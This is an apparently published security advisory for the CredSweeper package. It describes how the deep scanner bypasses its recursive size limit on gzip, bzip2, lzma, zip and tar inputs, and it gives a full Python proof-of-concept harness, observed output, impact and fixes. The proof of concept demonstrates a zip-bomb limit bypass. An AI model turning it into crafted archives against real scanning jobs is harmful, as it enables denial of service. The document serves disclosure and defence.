        def is_find_by_ext_file(_config, _extension):
            return False
        @staticmethod
        def check_exclude_file(_config, _path):
            return False
    file_path_extractor_module.FilePathExtractor = FilePathExtractor
    sys.modules["credsweeper.file_handler.file_path_extractor"] = file_path_extractor_module

    scanner_module = types.ModuleType("credsweeper.scanner.scanner")
    class Scanner: pass
    scanner_module.Scanner = Scanner
    sys.modules["credsweeper.scanner.scanner"] = scanner_module

    util_module = types.ModuleType("credsweeper.utils.util")
    class Util:
        @staticmethod
        def get_extension(path, lower=True):
            ext = os.path.splitext(str(path))[1]
            return ext.lower() if lower else ext
    util_module.Util = Util
    sys.modules["credsweeper.utils.util"] = util_module

    content_provider_module = types.ModuleType("credsweeper.file_handler.content_provider")
    class ContentProvider: pass
    content_provider_module.ContentProvider = ContentProvider
    sys.modules["credsweeper.file_handler.content_provider"] = content_provider_module

    data_content_provider_module = types.ModuleType("credsweeper.file_handler.data_content_provider")
    class DataContentProvider:
        def __init__(self, data, file_path=None, file_type=None, info=None):
            self.data = data
            self.file_path = file_path or ""
            self.file_type = file_type or ""
            self.info = info or ""
            self.descriptor = Descriptor(extension=self.file_type, info=self.info)
    data_content_provider_module.DataContentProvider = DataContentProvider
    sys.modules["credsweeper.file_handler.data_content_provider"] = data_content_provider_module

    def install_provider_stub(module_name, class_name):
        module = types.ModuleType(module_name)
        class Provider:
            def __init__(self, *args, **kwargs):
                for key, value in kwargs.items():
                    setattr(self, key, value)
        setattr(module, class_name, Provider)
        sys.modules[module_name] = module

    install_provider_stub("credsweeper.file_handler.byte_content_provider", "ByteContentProvider")
    install_provider_stub("credsweeper.file_handler.diff_content_provider", "DiffContentProvider")
    install_provider_stub("credsweeper.file_handler.string_content_provider", "StringContentProvider")
    install_provider_stub("credsweeper.file_handler.struct_content_provider", "StructContentProvider")
    install_provider_stub("credsweeper.file_handler.text_content_provider", "TextContentProvider")

def get_head_commit():
    return subprocess.check_output(["git", "rev-parse", "HEAD"], cwd=REPO_ROOT, text=True).strip()

def get_package_version():
    init_path = os.path.join(SOURCE_ROOT, "__init__.py")
    with open(init_path, "r", encoding="utf-8") as handle:
        for line in handle:
            if line.strip().startswith("__version__ = "):
                return line.split("=", 1)[1].strip().strip('"')
    raise RuntimeError("Cannot locate __version__")

def load_scanners():
    reset_credsweeper_modules()
    install_common_stubs()
    abstract_module = load_module("credsweeper.deep_scanner.abstract_scanner", "deep_scanner/abstract_scanner.py")
    gzip_module = load_module("credsweeper.deep_scanner.gzip_scanner", "deep_scanner/gzip_scanner.py")
    bzip2_module = load_module("credsweeper.deep_scanner.bzip2_scanner", "deep_scanner/bzip2_scanner.py")
    lzma_module = load_module("credsweeper.deep_scanner.lzma_scanner", "deep_scanner/lzma_scanner.py")
    zip_module = load_module("credsweeper.deep_scanner.zip_scanner", "deep_scanner/zip_scanner.py")
    tar_module = load_module("credsweeper.deep_scanner.tar_scanner", "deep_scanner/tar_scanner.py")
    provider_module = sys.modules["credsweeper.file_handler.data_content_provider"]
    return abstract_module, gzip_module, bzip2_module, lzma_module, zip_module, tar_module, provider_module

class RecordingRecursiveCalls:
    def __init__(self):
        self.calls = []
        self.config = object()
    def recursive_scan(self, data_provider, depth, recursive_limit_size):
        self.calls.append({
            "path": data_provider.file_path,
            "len": len(data_provider.data),
            "limit": recursive_limit_size,
            "info": data_provider.info,
            "depth": depth,
        })
        return []

def build_compressed_payloads(payload):
    gzip_buffer = io.BytesIO()
    with gzip.GzipFile(fileobj=gzip_buffer, mode="wb") as handle:
        handle.write(payload)
    return {
        "gzip": gzip_buffer.getvalue(),
        "bzip2": bz2.compress(payload),
        "lzma": lzma.compress(payload),
    }

def proof_negative_budget_after_full_decompression():
    _, gzip_module, bzip2_module, lzma_module, _, _, provider_module = load_scanners()
    DataContentProvider = provider_module.DataContentProvider
    payload = b"A" * 64
    recursive_limit_size = 16
    compressed_payloads = build_compressed_payloads(payload)
    results = []
    for name, module, file_name in [
        ("gzip", gzip_module, "proof.txt.gz"),
        ("bzip2", bzip2_module, "proof.txt.bz2"),
        ("lzma", lzma_module, "proof.txt.xz"),
    ]:
        recorder = RecordingRecursiveCalls()
        provider = DataContentProvider(compressed_payloads[name], file_path=file_name, file_type=os.path.splitext(file_name)[1], info=f"FILE:{file_name}")
        scanner_class = getattr(module, f"{name.capitalize() if name != 'bzip2' else 'Bzip2'}Scanner")
        scanner_class.data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)
        results.append({
            "format": name,
            "compressed_size": len(compressed_payloads[name]),
            "decompressed_size": recorder.calls[0]["len"],
            "configured_limit": recursive_limit_size,
            "residual_limit_seen_by_recursive_scan": recorder.calls[0]["limit"],
            "recursive_call": recorder.calls[0],
        })
    return results

def proof_negative_budget_not_rejected():
    abstract_module, _, _, _, _, _, provider_module = load_scanners()
    DataContentProvider = provider_module.DataContentProvider
    AbstractScanner = abstract_module.AbstractScanner
    class DemoScanner(AbstractScanner):
        @property
        def config(self):
            return object()
        @property
        def scanner(self):
            return object()
        def data_scan(self, data_provider, depth, recursive_limit_size):
            return []
        @staticmethod
        def get_deep_scanners(data, descriptor, depth):
            return [], []
        def deep_scan_with_fallback(self, data_provider, depth, recursive_limit_size):
            self.proof = {
                "data_len": len(data_provider.data),
                "depth": depth,
                "recursive_limit_size": recursive_limit_size,
            }
            return []
    demo = DemoScanner()
    provider = DataContentProvider(b"A" * 64, file_path="oversize.txt", file_type=".txt", info="FILE:oversize.txt")
    demo.recursive_scan(provider, depth=1, recursive_limit_size=-48)
    return demo.proof

def proof_cumulative_budget_bypass_in_multi_entry_archives():
    _, _, _, _, zip_module, tar_module, provider_module = load_scanners()
    DataContentProvider = provider_module.DataContentProvider
    recursive_limit_size = 16
    member_size = 12

    zip_buffer = io.BytesIO()
    with zipfile.ZipFile(zip_buffer, "w", zipfile.ZIP_DEFLATED) as archive:
        archive.writestr("a.txt", b"A" * member_size)
        archive.writestr("b.txt", b"B" * member_size)

    tar_buffer = io.BytesIO()
    with tarfile.open(fileobj=tar_buffer, mode="w") as archive:
        for name, fill in [("a.txt", b"A"), ("b.txt", b"B")]:
            payload = fill * member_size
            info = tarfile.TarInfo(name)
            info.size = len(payload)
            archive.addfile(info, io.BytesIO(payload))

    results = []
    for name, module, data, scanner_name in [
        ("zip", zip_module, zip_buffer.getvalue(), "ZipScanner"),
        ("tar", tar_module, tar_buffer.getvalue(), "TarScanner"),
    ]:
        recorder = RecordingRecursiveCalls()
        provider = DataContentProvider(data, file_path=f"proof.{name}", file_type=f".{name}", info=f"FILE:proof.{name}")
        getattr(module, scanner_name).data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)
        results.append({
            "format": name,
            "configured_limit": recursive_limit_size,
            "member_size": member_size,
            "member_count": len(recorder.calls),
            "total_extracted_bytes": sum(call["len"] for call in recorder.calls),
            "recursive_calls": recorder.calls,
        })
    return results

print(json.dumps({
    "head_commit": get_head_commit(),
    "package_version": get_package_version(),
    "proof_1_negative_budget_after_full_decompression": proof_negative_budget_after_full_decompression(),
    "proof_2_negative_budget_not_rejected": proof_negative_budget_not_rejected(),
    "proof_3_cumulative_budget_bypass_in_multi_entry_archives": proof_cumulative_budget_bypass_in_multi_entry_archives(),
}, indent=2, sort_keys=True))
  1. Run it with Python 3:
python proof_poc.py
  1. Expected/observed output from my run on commit 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6:
{
  "head_commit": "8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6",
  "package_version": "1.15.8",
  "proof_1_negative_budget_after_full_decompression": [
    {
      "format": "gzip",
      "compressed_size": 24,
      "configured_limit": 16,
      "decompressed_size": 64,
      "residual_limit_seen_by_recursive_scan": -48
    },
    {
      "format": "bzip2",
      "compressed_size": 39,
      "configured_limit": 16,
      "decompressed_size": 64,
      "residual_limit_seen_by_recursive_scan": -48
    },
    {
      "format": "lzma",
      "compressed_size": 68,
      "configured_limit": 16,
      "decompressed_size": 64,
      "residual_limit_seen_by_recursive_scan": -48
    }
  ],
  "proof_2_negative_budget_not_rejected": {
    "data_len": 64,
    "depth": 0,
    "recursive_limit_size": -48
  },
  "proof_3_cumulative_budget_bypass_in_multi_entry_archives": [
    {
      "format": "zip",
      "configured_limit": 16,
      "member_size": 12,
      "member_count": 2,
      "total_extracted_bytes": 24
    },
    {
      "format": "tar",
      "configured_limit": 16,
      "member_size": 12,
      "member_count": 2,
      "total_extracted_bytes": 24
    }
  ]
}

What this proves:

  • GZIP/BZIP2/LZMA: With a configured recursive limit of 16, CredSweeper still fully inflates a 64 byte payload and then continues recursion with a residual limit of -48.

  • AbstractScanner: The negative budget is not rejected. recursive_scan() still dispatches into deep_scan_with_fallback() with recursive_limit_size = -48.

  • ZIP/TAR: A configured limit of 16 still allows two 12 byte members to be processed, for a total extracted size of 24.

This is a complete end-to-end proof of the root cause and both exploitation variants.

Impact

This is an availability / resource-exhaustion vulnerability.

Who is impacted:

  • Users who run CredSweeper with deep scanning enabled (--depth > 0) on untrusted repositories, archives, or binary inputs.
  • CI jobs, pre-merge checks, internal security automation, and local review workflows that recursively inspect attacker-controlled compressed files.
  • Downstream services that expose CredSweeper as part of automated scanning of uploaded or fetched content.

Practical consequences:

  • Oversized decompressed content can be materialized and scanned even when it exceeds the configured recursive budget.
  • Archive inputs with many individually small members can exceed the configured budget in aggregate.
  • Jobs may hang, consume excessive memory/CPU, or be terminated by the operating system / CI platform.

Security classification:

  • Primary weakness: CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
  • Related weakness: CWE-400: Uncontrolled Resource Consumption

I did not confirm confidentiality or integrity impact from this issue. The impact I confirmed is denial of service / resource exhaustion.

Mitigation

I recommend fixing this in three layers:

  1. Add a hard negative-budget guard in recursive_scan() and structure_scan()

Before any recursive dispatch, abort when recursive_limit_size < 0.

  1. Enforce limits before or during decompression, not after full materialization

  2. gzip, bzip2, lzma/xz should use bounded incremental decompression / bounded reads.

  3. If the decompressed size exceeds the remaining budget, stop immediately before constructing the full payload in memory.

  4. Track a mutable cumulative budget across sibling archive members

  5. zip, tar, and rpm should share a remaining-budget counter across entries.

  6. After one child is accepted, decrement the shared remaining budget before processing the next sibling.

Recommended regression tests:

  • A gzip payload whose decompressed size exceeds the recursive limit must be rejected before recursion and without a negative residual budget being processed.
  • Equivalent tests for bzip2 and lzma/xz.
  • A zip/tar archive with two members that are each under the per-entry threshold but exceed the total threshold together must stop after the budget is exhausted.
  • A direct unit test for recursive_scan() showing that negative recursive_limit_size stops recursion immediately.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "credsweeper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.9"
            },
            {
              "fixed": "1.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T19:25:51Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nCredSweeper\u0027s deep scanner does not enforce `recursive_limit_size` as a hard limit. Several recursive scanners fully decompress or fully read attacker-controlled content before the remaining budget is validated, and `AbstractScanner.recursive_scan()` continues processing even when the residual budget is already negative.\n\nThis allows a crafted archive to bypass the intended recursive zip-bomb protection and force excessive memory / CPU consumption when deep scanning is enabled (`--depth \u003e 0`). I confirmed this on upstream commit `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6` / package version `1.15.8`.\n\nThe issue has two closely related exploitation paths that share the same root cause:\n\n1. Single-stream decompressor bypass:\n   `gzip`, `bzip2`, and `lzma/xz` inputs are fully decompressed first, then the remaining budget is computed, and the recursive scan proceeds even if the result is negative.\n\n2. Multi-entry archive cumulative-budget bypass:\n   `zip` and `tar` entries are checked only against the original per-entry budget, not against a mutable cumulative remaining budget shared across sibling entries. Multiple individually small entries can therefore exceed the configured recursive limit in aggregate.\n\nThe impact is availability/resource exhaustion. I did not confirm arbitrary code execution, arbitrary file write, or data exfiltration from this issue.\n\n### Details\nThe vulnerability is in the recursive deep-scanning path that is used when CredSweeper scans container-like inputs recursively.\n\nThe relevant call chain is:\n\n- `credsweeper/app.py:323`\n  `self.deep_scanner.scan(content_provider, self.config.depth, self.config.size_limit)`\n- `credsweeper/deep_scanner/abstract_scanner.py:269-305`\n  The initial deep-scan entry point passes a recursive size budget into nested scanners.\n- `credsweeper/deep_scanner/abstract_scanner.py:58-94`\n  `recursive_scan()` stops only on:\n  - negative depth\n  - data shorter than `MIN_DATA_LEN`\n  It does **not** stop when `recursive_limit_size` is negative.\n\nExact source-level issue:\n\n1. Negative budgets are still accepted\n\n`credsweeper/deep_scanner/abstract_scanner.py:71-91`\n\n```python\nif 0 \u003e depth:\n    return candidates\ndepth -= 1\nif MIN_DATA_LEN \u003e len(data_provider.data):\n    return candidates\n...\nnew_candidates = self.deep_scan_with_fallback(data_provider, depth, recursive_limit_size)\n```\n\nThere is no guard such as `if recursive_limit_size \u003c 0: return`.\n\n2. Full decompression happens before any hard budget enforcement\n\n`credsweeper/deep_scanner/gzip_scanner.py:33-43`\n\n```python\nwith gzip.open(io.BytesIO(data_provider.data)) as f:\n    gzip_content_provider = DataContentProvider(data=f.read(), ...)\n    new_limit = recursive_limit_size - len(gzip_content_provider.data)\n    gzip_candidates = self.recursive_scan(gzip_content_provider, depth, new_limit)\n```\n\n`credsweeper/deep_scanner/bzip2_scanner.py:38-43`\n\n```python\nbzip2_content_provider = DataContentProvider(data=bz2.decompress(data_provider.data), ...)\nnew_limit = recursive_limit_size - len(bzip2_content_provider.data)\nbzip2_candidates = self.recursive_scan(bzip2_content_provider, depth, new_limit)\n```\n\n`credsweeper/deep_scanner/lzma_scanner.py:38-43`\n\n```python\nlzma_content_provider = DataContentProvider(data=lzma.decompress(data_provider.data), ...)\nnew_limit = recursive_limit_size - len(lzma_content_provider.data)\nlzma_candidates = self.recursive_scan(lzma_content_provider, depth, new_limit)\n```\n\nThe decompressed payload is materialized in memory first. Only afterwards is the residual budget calculated, and because `recursive_scan()` accepts negative budgets, the oversize content is still scanned.\n\n3. Multi-entry archives use per-entry checks instead of a shared cumulative budget\n\n`credsweeper/deep_scanner/zip_scanner.py:49-60`\n\n```python\nif 0 \u003e recursive_limit_size - zfl.file_size:\n    continue\nwith zf.open(zfl) as f:\n    zip_content_provider = DataContentProvider(data=f.read(), ...)\n    new_limit = recursive_limit_size - len(zip_content_provider.data)\n    zip_candidates = self.recursive_scan(zip_content_provider, depth, new_limit)\n```\n\n`credsweeper/deep_scanner/tar_scanner.py:48-59`\n\n```python\nif 0 \u003e recursive_limit_size - tfi.size:\n    continue\nwith tf.extractfile(tfi) as f:\n    tar_content_provider = DataContentProvider(data=f.read(), ...)\n    new_limit = recursive_limit_size - len(tar_content_provider.data)\n    tar_candidates = self.recursive_scan(tar_content_provider, depth, new_limit)\n```\n\nThese checks use the same original `recursive_limit_size` for every sibling entry. The budget is not decremented globally after the first extracted member. Therefore a `zip` or `tar` with many individually small files can exceed the intended aggregate extraction limit.\n\n4. Same code pattern is also present in RPM scanning\n\n`credsweeper/deep_scanner/rpm_scanner.py:42-51`\n\nThe RPM scanner uses the same per-member pattern as ZIP/TAR. I did not include an RPM runtime PoC below only because it requires an extra third-party parser dependency, but the source-level pattern is the same.\n\nVersion scope:\n\n- The vulnerable recursive scanning logic was introduced by commit `0bd8fe56ad2e08b12d47677f7dbe1a75913969ae`.\n- The last release before that commit is `v1.4.8`.\n- The first release containing that commit is `v1.4.9`.\n- Current upstream HEAD and package version `1.15.8` are still affected.\n\n### PoC\nI reproduced the issue on:\n\n- Repository: `https://github.com/Samsung/CredSweeper`\n- Commit: `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6`\n- Version: `1.15.8`\n\nI used a dependency-light harness that imports the exact vulnerable source files by path and stubs unrelated modules only to isolate the deep-scanner logic. The proof uses only Python\u0027s standard library.\n\nReproduction steps:\n\n1. Clone the repository:\n\n```bash\ngit clone https://github.com/Samsung/CredSweeper.git\ncd CredSweeper\ngit checkout 8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6\n```\n\n2. Save the following as `proof_poc.py` one directory above the repository, or adjust `REPO_ROOT` accordingly:\n\n```python\nimport bz2\nimport gzip\nimport importlib.util\nimport io\nimport json\nimport lzma\nimport os\nimport subprocess\nimport sys\nimport tarfile\nimport types\nimport zipfile\n\nREPO_ROOT = os.path.abspath(os.environ.get(\"CREDSWEEPER_REPO\", \"CredSweeper\"))\nSOURCE_ROOT = os.path.join(REPO_ROOT, \"credsweeper\")\n\ndef load_module(name, relpath):\n    spec = importlib.util.spec_from_file_location(name, os.path.join(SOURCE_ROOT, relpath))\n    module = importlib.util.module_from_spec(spec)\n    sys.modules[name] = module\n    spec.loader.exec_module(module)\n    return module\n\ndef reset_credsweeper_modules():\n    for name in list(sys.modules):\n        if name == \"credsweeper\" or name.startswith(\"credsweeper.\"):\n            del sys.modules[name]\n\ndef install_common_stubs():\n    for name in [\n        \"credsweeper\",\n        \"credsweeper.common\",\n        \"credsweeper.config\",\n        \"credsweeper.credentials\",\n        \"credsweeper.deep_scanner\",\n        \"credsweeper.file_handler\",\n        \"credsweeper.scanner\",\n        \"credsweeper.utils\",\n    ]:\n        module = types.ModuleType(name)\n        module.__path__ = []\n        sys.modules[name] = module\n\n    constants_module = types.ModuleType(\"credsweeper.common.constants\")\n    constants_module.RECURSIVE_SCAN_LIMITATION = 1 \u003c\u003c 30\n    constants_module.MIN_DATA_LEN = 8\n    constants_module.DEFAULT_ENCODING = \"utf_8\"\n    constants_module.UTF_8 = \"utf_8\"\n    constants_module.MIN_VALUE_LENGTH = 4\n    sys.modules[\"credsweeper.common.constants\"] = constants_module\n\n    config_module = types.ModuleType(\"credsweeper.config.config\")\n    class Config: pass\n    config_module.Config = Config\n    sys.modules[\"credsweeper.config.config\"] = config_module\n\n    candidate_module = types.ModuleType(\"credsweeper.credentials.candidate\")\n    class Candidate:\n        @staticmethod\n        def get_dummy_candidate(*_args, **_kwargs):\n            return \"dummy\"\n    candidate_module.Candidate = Candidate\n    sys.modules[\"credsweeper.credentials.candidate\"] = candidate_module\n\n    augment_module = types.ModuleType(\"credsweeper.credentials.augment_candidates\")\n    def augment_candidates(dst, src):\n        if src:\n            dst.extend(src)\n    augment_module.augment_candidates = augment_candidates\n    sys.modules[\"credsweeper.credentials.augment_candidates\"] = augment_module\n\n    descriptor_module = types.ModuleType(\"credsweeper.file_handler.descriptor\")\n    class Descriptor:\n        def __init__(self, extension=\"\", info=\"\"):\n            self.extension = extension\n            self.info = info\n    descriptor_module.Descriptor = Descriptor\n    sys.modules[\"credsweeper.file_handler.descriptor\"] = descriptor_module\n\n    file_path_extractor_module = types.ModuleType(\"credsweeper.file_handler.file_path_extractor\")\n    class FilePathExtractor:\n        FIND_BY_EXT_RULE = \"Suspicious File Extension\"\n        @staticmethod\n        def is_find_by_ext_file(_config, _extension):\n            return False\n        @staticmethod\n        def check_exclude_file(_config, _path):\n            return False\n    file_path_extractor_module.FilePathExtractor = FilePathExtractor\n    sys.modules[\"credsweeper.file_handler.file_path_extractor\"] = file_path_extractor_module\n\n    scanner_module = types.ModuleType(\"credsweeper.scanner.scanner\")\n    class Scanner: pass\n    scanner_module.Scanner = Scanner\n    sys.modules[\"credsweeper.scanner.scanner\"] = scanner_module\n\n    util_module = types.ModuleType(\"credsweeper.utils.util\")\n    class Util:\n        @staticmethod\n        def get_extension(path, lower=True):\n            ext = os.path.splitext(str(path))[1]\n            return ext.lower() if lower else ext\n    util_module.Util = Util\n    sys.modules[\"credsweeper.utils.util\"] = util_module\n\n    content_provider_module = types.ModuleType(\"credsweeper.file_handler.content_provider\")\n    class ContentProvider: pass\n    content_provider_module.ContentProvider = ContentProvider\n    sys.modules[\"credsweeper.file_handler.content_provider\"] = content_provider_module\n\n    data_content_provider_module = types.ModuleType(\"credsweeper.file_handler.data_content_provider\")\n    class DataContentProvider:\n        def __init__(self, data, file_path=None, file_type=None, info=None):\n            self.data = data\n            self.file_path = file_path or \"\"\n            self.file_type = file_type or \"\"\n            self.info = info or \"\"\n            self.descriptor = Descriptor(extension=self.file_type, info=self.info)\n    data_content_provider_module.DataContentProvider = DataContentProvider\n    sys.modules[\"credsweeper.file_handler.data_content_provider\"] = data_content_provider_module\n\n    def install_provider_stub(module_name, class_name):\n        module = types.ModuleType(module_name)\n        class Provider:\n            def __init__(self, *args, **kwargs):\n                for key, value in kwargs.items():\n                    setattr(self, key, value)\n        setattr(module, class_name, Provider)\n        sys.modules[module_name] = module\n\n    install_provider_stub(\"credsweeper.file_handler.byte_content_provider\", \"ByteContentProvider\")\n    install_provider_stub(\"credsweeper.file_handler.diff_content_provider\", \"DiffContentProvider\")\n    install_provider_stub(\"credsweeper.file_handler.string_content_provider\", \"StringContentProvider\")\n    install_provider_stub(\"credsweeper.file_handler.struct_content_provider\", \"StructContentProvider\")\n    install_provider_stub(\"credsweeper.file_handler.text_content_provider\", \"TextContentProvider\")\n\ndef get_head_commit():\n    return subprocess.check_output([\"git\", \"rev-parse\", \"HEAD\"], cwd=REPO_ROOT, text=True).strip()\n\ndef get_package_version():\n    init_path = os.path.join(SOURCE_ROOT, \"__init__.py\")\n    with open(init_path, \"r\", encoding=\"utf-8\") as handle:\n        for line in handle:\n            if line.strip().startswith(\"__version__ = \"):\n                return line.split(\"=\", 1)[1].strip().strip(\u0027\"\u0027)\n    raise RuntimeError(\"Cannot locate __version__\")\n\ndef load_scanners():\n    reset_credsweeper_modules()\n    install_common_stubs()\n    abstract_module = load_module(\"credsweeper.deep_scanner.abstract_scanner\", \"deep_scanner/abstract_scanner.py\")\n    gzip_module = load_module(\"credsweeper.deep_scanner.gzip_scanner\", \"deep_scanner/gzip_scanner.py\")\n    bzip2_module = load_module(\"credsweeper.deep_scanner.bzip2_scanner\", \"deep_scanner/bzip2_scanner.py\")\n    lzma_module = load_module(\"credsweeper.deep_scanner.lzma_scanner\", \"deep_scanner/lzma_scanner.py\")\n    zip_module = load_module(\"credsweeper.deep_scanner.zip_scanner\", \"deep_scanner/zip_scanner.py\")\n    tar_module = load_module(\"credsweeper.deep_scanner.tar_scanner\", \"deep_scanner/tar_scanner.py\")\n    provider_module = sys.modules[\"credsweeper.file_handler.data_content_provider\"]\n    return abstract_module, gzip_module, bzip2_module, lzma_module, zip_module, tar_module, provider_module\n\nclass RecordingRecursiveCalls:\n    def __init__(self):\n        self.calls = []\n        self.config = object()\n    def recursive_scan(self, data_provider, depth, recursive_limit_size):\n        self.calls.append({\n            \"path\": data_provider.file_path,\n            \"len\": len(data_provider.data),\n            \"limit\": recursive_limit_size,\n            \"info\": data_provider.info,\n            \"depth\": depth,\n        })\n        return []\n\ndef build_compressed_payloads(payload):\n    gzip_buffer = io.BytesIO()\n    with gzip.GzipFile(fileobj=gzip_buffer, mode=\"wb\") as handle:\n        handle.write(payload)\n    return {\n        \"gzip\": gzip_buffer.getvalue(),\n        \"bzip2\": bz2.compress(payload),\n        \"lzma\": lzma.compress(payload),\n    }\n\ndef proof_negative_budget_after_full_decompression():\n    _, gzip_module, bzip2_module, lzma_module, _, _, provider_module = load_scanners()\n    DataContentProvider = provider_module.DataContentProvider\n    payload = b\"A\" * 64\n    recursive_limit_size = 16\n    compressed_payloads = build_compressed_payloads(payload)\n    results = []\n    for name, module, file_name in [\n        (\"gzip\", gzip_module, \"proof.txt.gz\"),\n        (\"bzip2\", bzip2_module, \"proof.txt.bz2\"),\n        (\"lzma\", lzma_module, \"proof.txt.xz\"),\n    ]:\n        recorder = RecordingRecursiveCalls()\n        provider = DataContentProvider(compressed_payloads[name], file_path=file_name, file_type=os.path.splitext(file_name)[1], info=f\"FILE:{file_name}\")\n        scanner_class = getattr(module, f\"{name.capitalize() if name != \u0027bzip2\u0027 else \u0027Bzip2\u0027}Scanner\")\n        scanner_class.data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)\n        results.append({\n            \"format\": name,\n            \"compressed_size\": len(compressed_payloads[name]),\n            \"decompressed_size\": recorder.calls[0][\"len\"],\n            \"configured_limit\": recursive_limit_size,\n            \"residual_limit_seen_by_recursive_scan\": recorder.calls[0][\"limit\"],\n            \"recursive_call\": recorder.calls[0],\n        })\n    return results\n\ndef proof_negative_budget_not_rejected():\n    abstract_module, _, _, _, _, _, provider_module = load_scanners()\n    DataContentProvider = provider_module.DataContentProvider\n    AbstractScanner = abstract_module.AbstractScanner\n    class DemoScanner(AbstractScanner):\n        @property\n        def config(self):\n            return object()\n        @property\n        def scanner(self):\n            return object()\n        def data_scan(self, data_provider, depth, recursive_limit_size):\n            return []\n        @staticmethod\n        def get_deep_scanners(data, descriptor, depth):\n            return [], []\n        def deep_scan_with_fallback(self, data_provider, depth, recursive_limit_size):\n            self.proof = {\n                \"data_len\": len(data_provider.data),\n                \"depth\": depth,\n                \"recursive_limit_size\": recursive_limit_size,\n            }\n            return []\n    demo = DemoScanner()\n    provider = DataContentProvider(b\"A\" * 64, file_path=\"oversize.txt\", file_type=\".txt\", info=\"FILE:oversize.txt\")\n    demo.recursive_scan(provider, depth=1, recursive_limit_size=-48)\n    return demo.proof\n\ndef proof_cumulative_budget_bypass_in_multi_entry_archives():\n    _, _, _, _, zip_module, tar_module, provider_module = load_scanners()\n    DataContentProvider = provider_module.DataContentProvider\n    recursive_limit_size = 16\n    member_size = 12\n\n    zip_buffer = io.BytesIO()\n    with zipfile.ZipFile(zip_buffer, \"w\", zipfile.ZIP_DEFLATED) as archive:\n        archive.writestr(\"a.txt\", b\"A\" * member_size)\n        archive.writestr(\"b.txt\", b\"B\" * member_size)\n\n    tar_buffer = io.BytesIO()\n    with tarfile.open(fileobj=tar_buffer, mode=\"w\") as archive:\n        for name, fill in [(\"a.txt\", b\"A\"), (\"b.txt\", b\"B\")]:\n            payload = fill * member_size\n            info = tarfile.TarInfo(name)\n            info.size = len(payload)\n            archive.addfile(info, io.BytesIO(payload))\n\n    results = []\n    for name, module, data, scanner_name in [\n        (\"zip\", zip_module, zip_buffer.getvalue(), \"ZipScanner\"),\n        (\"tar\", tar_module, tar_buffer.getvalue(), \"TarScanner\"),\n    ]:\n        recorder = RecordingRecursiveCalls()\n        provider = DataContentProvider(data, file_path=f\"proof.{name}\", file_type=f\".{name}\", info=f\"FILE:proof.{name}\")\n        getattr(module, scanner_name).data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)\n        results.append({\n            \"format\": name,\n            \"configured_limit\": recursive_limit_size,\n            \"member_size\": member_size,\n            \"member_count\": len(recorder.calls),\n            \"total_extracted_bytes\": sum(call[\"len\"] for call in recorder.calls),\n            \"recursive_calls\": recorder.calls,\n        })\n    return results\n\nprint(json.dumps({\n    \"head_commit\": get_head_commit(),\n    \"package_version\": get_package_version(),\n    \"proof_1_negative_budget_after_full_decompression\": proof_negative_budget_after_full_decompression(),\n    \"proof_2_negative_budget_not_rejected\": proof_negative_budget_not_rejected(),\n    \"proof_3_cumulative_budget_bypass_in_multi_entry_archives\": proof_cumulative_budget_bypass_in_multi_entry_archives(),\n}, indent=2, sort_keys=True))\n```\n\n3. Run it with Python 3:\n\n```bash\npython proof_poc.py\n```\n\n4. Expected/observed output from my run on commit `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6`:\n\n```json\n{\n  \"head_commit\": \"8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6\",\n  \"package_version\": \"1.15.8\",\n  \"proof_1_negative_budget_after_full_decompression\": [\n    {\n      \"format\": \"gzip\",\n      \"compressed_size\": 24,\n      \"configured_limit\": 16,\n      \"decompressed_size\": 64,\n      \"residual_limit_seen_by_recursive_scan\": -48\n    },\n    {\n      \"format\": \"bzip2\",\n      \"compressed_size\": 39,\n      \"configured_limit\": 16,\n      \"decompressed_size\": 64,\n      \"residual_limit_seen_by_recursive_scan\": -48\n    },\n    {\n      \"format\": \"lzma\",\n      \"compressed_size\": 68,\n      \"configured_limit\": 16,\n      \"decompressed_size\": 64,\n      \"residual_limit_seen_by_recursive_scan\": -48\n    }\n  ],\n  \"proof_2_negative_budget_not_rejected\": {\n    \"data_len\": 64,\n    \"depth\": 0,\n    \"recursive_limit_size\": -48\n  },\n  \"proof_3_cumulative_budget_bypass_in_multi_entry_archives\": [\n    {\n      \"format\": \"zip\",\n      \"configured_limit\": 16,\n      \"member_size\": 12,\n      \"member_count\": 2,\n      \"total_extracted_bytes\": 24\n    },\n    {\n      \"format\": \"tar\",\n      \"configured_limit\": 16,\n      \"member_size\": 12,\n      \"member_count\": 2,\n      \"total_extracted_bytes\": 24\n    }\n  ]\n}\n```\n\nWhat this proves:\n\n- GZIP/BZIP2/LZMA:\n  With a configured recursive limit of `16`, CredSweeper still fully inflates a `64` byte payload and then continues recursion with a residual limit of `-48`.\n\n- AbstractScanner:\n  The negative budget is not rejected. `recursive_scan()` still dispatches into `deep_scan_with_fallback()` with `recursive_limit_size = -48`.\n\n- ZIP/TAR:\n  A configured limit of `16` still allows two `12` byte members to be processed, for a total extracted size of `24`.\n\nThis is a complete end-to-end proof of the root cause and both exploitation variants.\n\n### Impact\nThis is an availability / resource-exhaustion vulnerability.\n\nWho is impacted:\n\n- Users who run CredSweeper with deep scanning enabled (`--depth \u003e 0`) on untrusted repositories, archives, or binary inputs.\n- CI jobs, pre-merge checks, internal security automation, and local review workflows that recursively inspect attacker-controlled compressed files.\n- Downstream services that expose CredSweeper as part of automated scanning of uploaded or fetched content.\n\nPractical consequences:\n\n- Oversized decompressed content can be materialized and scanned even when it exceeds the configured recursive budget.\n- Archive inputs with many individually small members can exceed the configured budget in aggregate.\n- Jobs may hang, consume excessive memory/CPU, or be terminated by the operating system 